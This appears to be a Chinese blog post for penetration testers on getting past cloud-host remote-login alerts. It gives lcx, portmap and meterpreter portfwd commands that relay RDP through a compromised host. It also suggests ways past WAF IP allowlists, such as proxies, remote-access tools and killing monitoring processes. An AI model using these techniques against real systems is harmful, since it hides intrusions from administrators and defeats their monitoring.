云主机RDP/SSH异地登陆提醒绕过

最近这段时间由于当本疫情、工作和暑期等原因比较浮躁，难以静不下心来写东西，下班回家就躺尸刷视频，没了当初的动力，感觉自己快废了。 

周末还是抽空找了篇库存分享给大家，希望大家从中能有所收获。

0x01 前言

但如果我们作为一名渗透测试工作者在渗透某目标时通过前期的信息搜集确定为某云主机，即使成功拿到这台主机的权限也不建议直接去连接它的RDP/SSH，因为这样极易被服务器管理员发现，而且他们会收到云主机平台推送的安全告警信息，得不偿失。

0x02 绕过异地登录提醒

lcx.exe -listen 13389 23389./portmap -m 2 -p1 13899 -h2 127.0.0.1 -p2 23389

lcx.exe -slave 39.**.*.238 13899 127.0.0.1 3389

meterpreter > portfwd add -r 127.0.0.1 -p 3389 -l 13389

‍

0x03 绕过WAF黑白名单IP限制

笔者这里另外提供几个绕过思路，但仅可作为参考，并没有都去实践，不保证其可行性！！！

1) 端口转发、Socks4/5代理和隧道等技术；2) RAT远控、AnyDesk、TeamViewer等工具；3) 结束或停止某云主机上的监控相关进程和服务；

0x04 题外话

可能有的人会说，这不就是一个简单的LCX端口转发吗？没错，的确如此，但又有多少人发现这能绕过云主机异地登陆提醒和WAF的黑白名单IP认证限制？所以请......

推 荐 阅 读

本文始发于微信公众号（潇湘信安）：云主机RDP/SSH异地登陆提醒绕过